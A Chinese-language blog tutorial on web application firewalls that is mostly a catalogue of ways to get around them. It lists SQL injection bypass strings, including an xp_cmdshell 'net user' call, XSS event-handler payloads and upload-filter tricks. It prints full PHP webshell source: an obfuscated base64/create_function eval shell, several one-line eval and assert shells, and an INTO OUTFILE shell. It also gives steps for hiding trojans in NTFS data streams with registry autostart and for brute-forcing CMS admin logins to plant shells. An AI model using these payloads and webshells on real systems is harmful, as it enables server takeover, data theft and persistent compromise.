草庐IT

WAF详解及WAF绕过

赤赤三 2023-08-26 原文
  1. waf(web application firewall):
    • 原理:
      • web应用防火墙,一款集网站内容安全防护、网站资源安全防护及流量保护功能为一体的服务器工具。为用户提供实时网站安全防护,避免各类针对网站的攻击带来的危害。(核心其实也是基于规则的防御)| 任何工具(Awvs、IPS、IDS)其实都是基于规则进行匹配,最多加个爬虫功能
    • 功能:
      • 网马|木马主动防御及查杀
        • 网页木马和网页挂马扫描工具采用特征码+启发式引擎的查杀算法,WEB木马检出率大于90%
      • 网站漏洞防御功能
        • 可拦截GET、POST、COOKIES等方式的SQL注入,可对GET、POST、COOKIES分别定义特征码,以及可拦截XSS注入等行为。
      • 网站流量实时监控
        • 能够实时监测到每个网站的进出流量和总流量,以及每个应用程序池及网站的CPU占用情况
      • 危险组件防护功能
        • 全面拦截恶意代码对组件的调用权限,拦截IIS执行恶意程序,保护网站安全
      • .Net安全保护模块
        • 快捷设置.Net安全模式,禁止.Net执行系统敏感函数,保障网站安全
      • 双层防盗链链接模式
        • 可以针对不同站点设置防盗链的过滤, 防止图片、桌面、软件、音乐、电影被人引用。如果发现请求者是盗用网站链接, 则自动重定向到错误处理页面
      • 网站特定资源防下载
        • 支持对doc、mdb、mdf、myd等特定资源的防下载保护,加入要保护的敏感资料的路径,即可防止敏感资料被下载
      • CC攻击(攻击者控制某些主机不停地发大量数据包给对方服务器造成服务器资源耗尽,一直到宕机崩溃)防护
        • 自主研发的独特抗攻击算法,高效的主动防御系统可有效防御CC攻击、流量攻击。
      • IP黑白名单
        • 全IP黑白名单功能允许用户设置个性化的IP信任列表,直接屏蔽或者允许指定IP访问网站。同时,增加iP临时黑名单功能,以及实现了针对某个功能的iP白名单功能。同时,爬虫白名单提供爬虫信任机制,在出现误拦截情况下,允许用户自定义爬虫信任。
    • 系统攻击分类:
      • web服务器漏洞进行攻击:DDOS、病毒木马破坏等攻击
      • 网页自身安全漏洞攻击:SQL注入攻击、跨站脚本攻击
    • waf注入绕过检测方法:

       

    • 分类:
      • 硬件waf:绿盟、安恒、启明、知道创宇等(弊端就是访问速度变慢)
      • 软件waf:安全狗、云锁、中间件自带的waf模块(安装在服务器上,访问速度不变)
      • 云waf:阿里云、安全狗、创宇等(弊端:通过cname值访问,如果知道真实ip,可以直接绕过waf)
    • 服务器上安装安全狗和phpstuday绑定:
      • 1、关闭apache程序及httpd.exe进程
      • 2、运行cmd,cd进入apache/bin文件夹目录,执行httpd.exe -k install -n apache2.4.39
      • 3、安全狗安装服务名称填写apache2.4.39
      • 4、安装完成记得重启安全狗及phpstuday
    • waf主要检测:
      • http检测:

         

      • 上传检测:

         

  2. 绕过waf注入的方法:
    • 身份认证的绕过:
      • 伪造搜索引擎(已失效):
        • 老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击
        • burp suite抓包替换user-agent头:
      • 伪造白名单特殊目录:
        • 判断是否为admin、dede、install等目录,如果是,则不做拦截

         

      • 伪造IP地址绕过:
        • 伪造为127.0.0.1,使用burp suite插件
        • 添加过滤本地ip waf插件到bp
        • 请求发送到重发器,可以看到已经伪造了IP地址

         

         

         

    • 数据包解析阶段的绕过:
      • 编码绕过:
        • 采用URL编码绕过,现在基本已经被防御

         

      • 修改请求方式绕过:
        • 把get提交的请求换为post即可绕过waf
      • 复合参数绕过:
        • 例如一个请求是这样的
          GET /pen/news.php?id=1 union select user,password from mysql.user
          可以修改为
          GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
          很多WAF都可以这样绕,测试最新版WAF能绕过部分语句

         

      • 触发规则的绕过(针对一些特殊关键词或则用法进行检测的绕过):
        • 特殊字符替换空格:
          • mysql里%0a是换行,可以代替空格,也可以使用内联注释绕过
            • http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2   //%23为#号
          • sqlserver中/**/代替空格,函数后边是可以接内联注释的:
            • 内联注释:mysql里有三种注释方式: -- 注释    # (单行注释)   /* */(多行注释)   |  如果在/*后加惊叹号!意为/* */里的语句将被执行
              • 1.利用()代替空格
                2.利用mysql特性/*!*/执行语句
                3.利用/**/混淆代码
                我给出的注入语句是:
                union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
                id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     user(),(database/**/()),4,5

                http://192.168.0.102:8080/sql.php?id=1 union/*%00*//*!50010select*/1,user(),version(),4,5
                这里要注意的几点是:
                1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
                2./*!*/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
                3.数据或者函数周围可以无限嵌套()
                4.利用好%00
        • 特殊字符拼接:
          • 如:GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')
            可以改为:GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
             
        • 注释包含关键词绕过:
          • mysql中使用/*!*/包含关键词绕过,加个!是执行注释里边内容的意思。
          • 如: GET /pen/news.php?id=1 union select user,password from mysql.user
            可以改为: GET /pen/news.php?id=1 /*!union*/ /*!select*/  user,password /*!from*/ mysql.user
        • 等价替换:
          • select~  select~1  select!  select@  都等同于select,绕过
          • and 1=1 换成 and -1=-1 或则 and -2=-2等等
          • 空格替换为   %0a/**/
          • 大小写替换:?page_id=-15 uNIoN sELecT 1,2,3,4….
          • 双写替换法:?page_id=-15 UNIunionON SELselectECT 1,2,3,4…
          • 编码与注释混合:?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
          • waf本身功能绕过:如果waf把*替换为空,则可以利用这个特性绕过:?page_id=-15+uni*on+sel*ect+1,2,3,4....
          • 使用其他变量或者命令对注入语句进行替换(实际中很有作用):MOD为求余运算
          • COMMAND | WHAT TO USE INSTEAD
            @@version | version()
            concat() | concat_ws()
            group_concat() | concat_ws()
            = | like
            

           

        • 异或绕过:
          • 在 ^ 没有被过滤的时候可以1用它来测试,异或: Xor 或 ^,1 ^ 0 = 1,1 ^ 1 = 0

           

           

        • 换行绕过:
          • 换行符绕过:%23%0a、%2d%2d%0a,%23是url编码中的#(也就是mysql中的注释符),%0a是(也就是换行符,后面的语句就成功执行了)
        • 替换法绕过:
          • 构造 1 && True --+就可以绕过
        • 分块传输(比较厉害,以前干掉所有waf):
          • 使用bp插件添加分块传输头,Transfer-Encoding:chunked进行分块传输

           

       

     

  3. XSS绕过waf:
    • 大小写绕过
    • javascript伪协议
    • 没有分号
    • Flash
    • HTML5新标签
      • <video src=1 οnerrοr=alert(/xss/)>  绕过
      • <audio src=1 οnerrοr=alert(/xss/)> 
      • <body/οnfοcus=alert(/xss/)>
      • <details open οntοggle=alert(/xss/)>
      • <button οnfοcus=alert(/xss/)  autofocus>
    • Fuzz进行测试
    • 双层标签绕过
    • base64编码绕过
  4. 文件上传绕过:
    • 等号绕过
    • 换行绕过:

       

       

    • 填充垃圾字符:
      • 在Content-Disposition字段后添加垃圾数据,来绕过对文件名的校验

       

  5. 木马免杀:
    • 大马控制控制服务器流程:
      • 上传php小马到服务器:
        • <?
          $path = $_POST['x'];
          $text = $_POST['y'];
          $file = fopen($path, "w+");
          fwrite($file,$text);
          fclose($file);
          ?>
          <form action="" method="post">
          读取当前文件路径:
          <? echo $_SERVER['DOCUMENT_ROOT'].$_SERVER['PHP_SELF'];?></br>
          保存路径:<input name="x" type="text" /><br>
          写入内容:<br><textarea name="y" cols="90" rows="50"></textarea></br>
          <input name="" type="submit" value="提交"/>
          
          </form>
          
      • 然后通过小马上传大马,使用大马控制webshell

         

    • 一句话木马绕过waf:
      • <?php 
        $mt="JF9QT1N"; 
        $ojj="QGV2YWwo";
        $hsa="UWydpMGle";
        $fnx="5BeSleleddKTs=";
        $zk = str_replace("d","","sdtdrd_redpdldadcde"); 
        $ef = $zk("z", "", "zbazsze64_zdzeczodze"); 
        $dva = $zk("p","","pcprpepaptpe_fpupnpcptpipopn"); 
        $zvm = $dva('', $ef($zk("le", "", $ojj.$mt.$hsa.$fnx))); 
        $zvm(); 
        ?>
        
        ——————————————————————————————————————————————————————
        
        str_replace:参数:("需要匹配的字符","替换字符","需要匹配的对象")
        
        $zk=str_replace("d","","sdtdrd_redpdldadcde")=str_replace    // $zk=str_replace
        $ef=str_replace("z", "", "zbazsze64_zdzeczodze")=base64_decode   // $ef=base64_decode
        $dva=str_replace("p","","pcprpepaptpe_fpupnpcptpipopn")=create_function  //$dva=create_function
        
        $ojj.$mt.$hsa.$fnx=QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=
        str_replace(("le", "", "QGV2YWwoJF9QT1NUWydpMGle5BeSleleddKTs=")=QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=
        
        base64_decode("QGV2YWwoJF9QT1NUWydpMG5BeSddKTs=")=@eval($_POST['i0nAy']);
        create_function('',@eval($_POST['i0nAy']);)
        $zvm(); 
        
      • 测试发现,竟然被waf识别,所以转换思路,在变形马的基础上再加密:
      • 可以发现,waf并没有识别,从而绕过waf,通过火狐浏览器插件去执行一句话木马,获取系统信息
      • 由于WAF有识别菜刀功能,所以使用菜刀去连接一句话木马会被waf拦截,所以我们采用修改菜刀指纹信息,从而绕过waf
      • 首先关闭waf安全狗,使用WSExplorer工具修改菜刀指纹信息:
      • 火狐浏览器插件直接执行查看效果:
      • 再开启WAF安全狗防护,重启phpstuday,查看是否可以绕过:
      • 绕过失败。。。。。检查原因发现是因为代码留有后门导致绕过失败

       

       

       

       

       

       

       

       

    • include函数过waf:
      • 上传木马文件和包含文件到服务器,然后使用包含地址来绕过waf

       

    • 注释执行一句话木马绕过:
      • <?php 
        //t.php  
        $test = $_GET['r'];  
        echo /*%00*//*!*/(`$test`)/*%00*//*%00*//*%00*/;
        ?>
      •  

       

    • 替换函数一句话木马绕过:
      • <?php 
        $a = substr_replace("assexy","rt",4);  
        $b = array(''=>$a($_POST['q']));
        var_dump($b);
        ?>

       

    • 变量覆盖绕过waf:
      • <?php
        $h='f';
        $$h=$_REQUEST['x'];                //$$h可以理解为先解析后边这个$h,然后在进行解析,最终解析成为$f
        $d='CHECK';
        $$d='ass';
        $$d=$CHECK.'ert';
        $CHECK($f);
        ?>
        

       

    • 通过NTFS交换数据流文件实现文件隐藏(隐藏文件,检测不到),绕过waf
      • 原理:
        • 通过NTFS交换数据流文件实现文件隐藏
          echo hello>>test.txt:webshell.php   创建数据流文件
          dir /r  查看数据流文件
          notepad muma.php 新建一个一句话木马文件
          通过命令 type muma.php>>test.txt:muma.php来创建新的交换数据流文件
          数据流文件执行方法:是直接在注册表中的run键下添加数据流文件的完整路径:HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run,建立键值"123" = %filepath%: %streamName%,下次系统启动时就会自动运行该隐藏文件
      • 过程:
        • 执行木马函数转换为数据流文件
        • 使用include函数把NTFS流文件包含进去,完成木马上传

         

         

         

  6. 后门分析:
    •  代码分析,关键词定位 (如:请勿用于非法用途,否则后果自负)
    • 网络通信分析 

       

    • 进程包分析
      • WSExplorer进程包工具解析
  7. 获取webshell方法(目录扫描工具用7kb):
    • CMS获取webshell:
      • 目标:南方数据CMS系统后台获取webshell
      • 思路:
        • 使用7kb遍历网站url,找到后台地址
        • 再使用burp suite暴力破解后台账号密码
        • 登录后台账号密码把一句话木马插到配置文件里,7kb扫描出来配置文件后直接使用菜刀进行连接获取webshell

         

         

         

         

         

      • 思路2:
        • 使用数据库备份功能上传木马,配合解析漏洞获取webshell

         

         

         

      • dedecms后台获取webshell:
        • 前期:修改 /include/uploadsafe.inc.php 第45行:$imtypes = array 改成 $imgtypes = array,再更新缓存即可。
        • 思路1:通过自带文件上传功能获取webshell
        • 思路2:使用数据库备份命令上传木马至服务器从而获取webshell,在写入mysql数据库文件操作时需要设置配置文件
        • 前期:需要在my.ini里设置:secure_file_priv=''
        • select '<?php @eval($_POST[pass]);?>' INTO OUTFILE 'C:\\phpStudy\\WWW\\best111111.php';

         

         

         

    • 非CMS获取webshell:
      • 1、数据库备份获取Webshell
        2、抓包上传获取Webshell
        3、Sql命令获取Webshell
        4、模板修改获取Webshell
        5、插入一句话获取Webshell
        6、修改上传类型获取Webshell

有关WAF详解及WAF绕过的更多相关文章

  1. 物联网MQTT协议详解 - 2

    一、什么是MQTT协议MessageQueuingTelemetryTransport:消息队列遥测传输协议。是一种基于客户端-服务端的发布/订阅模式。与HTTP一样,基于TCP/IP协议之上的通讯协议,提供有序、无损、双向连接,由IBM(蓝色巨人)发布。原理:(1)MQTT协议身份和消息格式有三种身份:发布者(Publish)、代理(Broker)(服务器)、订阅者(Subscribe)。其中,消息的发布者和订阅者都是客户端,消息代理是服务器,消息发布者可以同时是订阅者。MQTT传输的消息分为:主题(Topic)和负载(payload)两部分Topic,可以理解为消息的类型,订阅者订阅(Su

  2. Tcl脚本入门笔记详解(一) - 2

    TCL脚本语言简介•TCL(ToolCommandLanguage)是一种解释执行的脚本语言(ScriptingLanguage),它提供了通用的编程能力:支持变量、过程和控制结构;同时TCL还拥有一个功能强大的固有的核心命令集。TCL经常被用于快速原型开发,脚本编程,GUI和测试等方面。•实际上包含了两个部分:一个语言和一个库。首先,Tcl是一种简单的脚本语言,主要使用于发布命令给一些互交程序如文本编辑器、调试器和shell。由于TCL的解释器是用C\C++语言的过程库实现的,因此在某种意义上我们又可以把TCL看作C库,这个库中有丰富的用于扩展TCL命令的C\C++过程和函数,所以,Tcl是

  3. ruby-on-rails - rails 4 - 更新用户对象并绕过模型验证 - 2

    我正在按照MicahelHartl的Rails教程构建示例应用程序。我试着探索了一下并添加了一些不同的东西——所以在用户表中我添加了一个account_balance列。问题是User模型内置了一堆验证:validates:name,presence:true,length:{maximum:50}validates:username,presence:true,length:{maximum:50}VALID_EMAIL_REGEX=/\A[\w+\-.]+@[a-z\d\-]+(?:\.[a-z\d\-]+)*\.[a-z]+\z/ivalidates:email,presence

  4. 【详解】Docker安装Elasticsearch7.16.1集群 - 2

    开门见山|拉取镜像dockerpullelasticsearch:7.16.1|配置存放的目录#存放配置文件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/config#存放数据的文件夹mkdir-p/opt/docker/elasticsearch/node-1/data#存放运行日志的文件夹mkdir-p/opt/docker/elasticsearch/node-1/log#存放IK分词插件的文件夹mkdir-p/opt/docker/elasticsearch/node-1/plugins若你使用了moba,直接右键新建即可如上图所示依次类推创建

  5. 【Elasticsearch基础】Elasticsearch索引、文档以及映射操作详解 - 2

    文章目录概念索引相关操作创建索引更新副本查看索引删除索引索引的打开与关闭收缩索引索引别名查询索引别名文档相关操作新建文档查询文档更新文档删除文档映射相关操作查询文档映射创建静态映射创建索引并添加映射概念es中有三个概念要清楚,分别为索引、映射和文档(不用死记硬背,大概有个印象就可以)索引可理解为MySQL数据库;映射可理解为MySQL的表结构;文档可理解为MySQL表中的每行数据静态映射和动态映射上面已经介绍了,映射可理解为MySQL的表结构,在MySQL中,向表中插入数据是需要先创建表结构的;但在es中不必这样,可以直接插入文档,es可以根据插入的文档(数据),动态的创建映射(表结构),这就

  6. 阿里云Web应用防火墙-WAF - 2

    WAF可以对网站进行扫描,识别API漏洞。API安全如何设置API安全_Web应用防火墙-阿里云帮助中心API安全如何划分API业务用途?登录认证手机验证码认证数据保存数据查询数据导出数据分享数据更新数据删除数据增加下线注销信息发送信息认证邮件信息发送邮箱验证码认证账号密码认证账号注册API安全支持检测哪些敏感数据?敏感数据级别敏感数据类型非敏感数据(N)不涉及。特级敏感数据(L0)与一级敏感数据(L1)或二级敏感数据(L2)相同。单次响应中一级敏感数据(L1)较多时,升级为特级敏感数据(L0)。单次响应中二级敏感数据(L2)较多时,升级为一级敏感数据(L1)或特级敏感数据(L0)。一级敏感数

  7. 最强Http缓存策略之强缓存和协商缓存的详解与应用实例 - 2

    HTTP缓存是指浏览器或者代理服务器将已经请求过的资源保存到本地,以便下次请求时能够直接从缓存中获取资源,从而减少网络请求次数,提高网页的加载速度和用户体验。缓存分为强缓存和协商缓存两种模式。一.强缓存强缓存是指浏览器直接从本地缓存中获取资源,而不需要向web服务器发出网络请求。这是因为浏览器在第一次请求资源时,服务器会在响应头中添加相关缓存的响应头,以表明该资源的缓存策略。常见的强缓存响应头如下所述:Cache-ControlCache-Control响应头是用于控制强制缓存和协商缓存的缓存策略。该响应头中的指令如下:max-age:指定该资源在本地缓存的最长有效时间,以秒为单位。例如:Ca

  8. IDEA 2022 创建 Spring Boot 项目详解 - 2

    如何用IDEA2022创建并初始化一个SpringBoot项目?目录如何用IDEA2022创建并初始化一个SpringBoot项目?0. 环境说明1.  创建SpringBoot项目 2.编写初始化代码0. 环境说明IDEA2022.3.1JDK1.8SpringBoot1.  创建SpringBoot项目        打开IDEA,选择NewProject创建项目。        填写项目名称、项目构建方式、jdk版本,按需要修改项目文件路径等信息。        选择springboot版本以及需要的包,此处只选择了springweb。        此处需特别注意,若你使用的是jdk1

  9. 详解Unity中的粒子系统Particle System (二) - 2

    前言上一篇我们简要讲述了粒子系统是什么,如何添加,以及基本模块的介绍,以及对于曲线和颜色编辑器的讲解。从本篇开始,我们将按照模块结构讲解下去,本篇主要讲粒子系统的主模块,该模块主要是控制粒子的初始状态和全局属性的,以下是关于该模块的介绍,请大家指正。目录前言本系列提要一、粒子系统主模块1.阅读前注意事项2.参考图3.参数讲解DurationLoopingPrewarmStartDelayStartLifetimeStartSpeed3DStartSizeStartSize3DStartRotationStartRotationFlipRotationStartColorGravityModif

  10. VMware虚拟机与本地主机进行磁盘共享(详解) - 2

    VMware虚拟机与本地主机进行磁盘共享前提虚拟机版本为Windows10(专业版,不是可能有问题)本地主机为家庭版或学生版(此版本会有问题,但有替代方式)最好是专业版VMware操作1.关闭防火墙,全部关闭。2.打开电脑属性3.点击共享-》高级共享-》权限4.如果没有everyone,就添加权限选择完全控制,然后应用确定。5.打开cmd输入lusrmgr.msc(只有专业版可以打开)如果不是专业版,可以跳过这一步。点击用户-》administrator密码要复杂密码,否则不行。推荐admaiN@1234类型的密码。设置完密码,点击属性,将禁用解开。6.如果虚拟机的windows不是专业版,可

随机推荐